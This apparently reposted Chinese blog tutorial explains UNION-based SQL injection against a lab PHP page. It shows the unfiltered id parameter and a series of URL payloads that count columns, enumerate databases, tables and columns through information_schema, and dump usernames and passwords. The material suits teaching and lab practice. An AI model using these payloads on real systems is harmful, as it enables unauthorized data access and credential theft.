SQL之Union查询注入

0x00_简介
Union操作符是用于合并两个或者多个select语句的搜索结果集。
在sql注入攻击中,要使union成功执行,必须要满足四个条件:
1、与内部数据库具有相同的字段数。
2、列是相同的数据类型。
3、select语句中的顺序必须相同。
4、当前页面有回显点。
0x01_Union注入一般步骤

  1. order by 判断字段
  2. 查看回显数据位置
  3. 读库信息
  4. 读表信息
  5. 读字段
  6. 读数据

0x02_数据库语法
1.数据库查询语句

select column_name from table_name

2.有关于order by和limit
如果已经使用了order by和limit查询语句,后面不可再跟select
错误示范

select *from users order by id union select 1,2,3;
select *from users limit 0,1 union select 1,2,3;

在这里插入图片描述
存在注入的原因GET直接传入id,对id没有进行过滤在源码中id=’$id’含有’,我们需要闭合。
部分源码:

$id=$_GET['id'];
%sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

查询版本

select * from users where id=-1 union select 1,(select version()),3;

0x03_注入骚操作
在源码中id=’$id’含有’,我们需要闭合。–+注释后面的’

/?id=1' order by 1--+

在这里插入图片描述
1、2、3到4,报错,确定字段为3

/?id=1' order by 4--+

在这里插入图片描述
接下来开始Union注入,先写简单的语句,去掉id的值,只为了返回我们要的回显数据

/?id' union select 1,2,3--+

在这里插入图片描述

/?id=' union select 1,(select version()),3--+

在这里插入图片描述

/?id=' union select 1,(select user()),3--+

在这里插入图片描述

/?id=' union select 1,(select database()),3--+

在这里插入图片描述
修改limt 0,1中的0可以查看以此下面的数据

/?id=' union select 1,(select schema_name from information_schema.schemata limit 0,1),3--+

在这里插入图片描述
返回多组数据group_concat()

/?id=' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+

在这里插入图片描述
查看表

/?id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

在这里插入图片描述

/?id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

在这里插入图片描述
表的详细信息

/?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

在这里插入图片描述
简单的读

/?id=' union select 1,2,username from users--+

在这里插入图片描述

/?id=' union select 1,2,concat_ws(':',username,password) from users--+

在这里插入图片描述

/?id=' union select 1,concat_ws(':',username,password) from users limit 2,1,3--+

在这里插入图片描述

发布了36 篇原创文章 · 获赞 9 · 访问量 8209

猜你喜欢

转载自blog.csdn.net/qq_44902875/article/details/104621215